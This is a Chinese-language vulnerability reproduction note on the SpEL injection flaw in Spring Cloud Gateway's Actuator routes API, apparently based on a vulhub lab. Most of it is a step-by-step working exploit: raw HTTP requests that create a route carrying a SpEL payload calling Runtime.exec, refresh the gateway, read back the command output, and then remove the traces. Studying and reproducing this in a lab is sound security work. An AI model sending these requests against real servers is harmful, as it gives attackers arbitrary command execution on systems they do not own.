简介

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

影响版本

Spring Cloud Gateway < 3.1.0

Spring Cloud Gateway < 3.0.7

Spring Cloud Gateway 其他已不再更新版本

复现

  1. 添加包含恶意SpEL表达式的路由：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
  1. 刷新路由
1
2
3
4
5
6
7
8
9
10
11
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0

  1. 访问创建的路由
1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20220330205133211

  1. 删除创建的路由
1
2
3
4
5
6
7
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
  1. 再次刷新
1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

参考

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md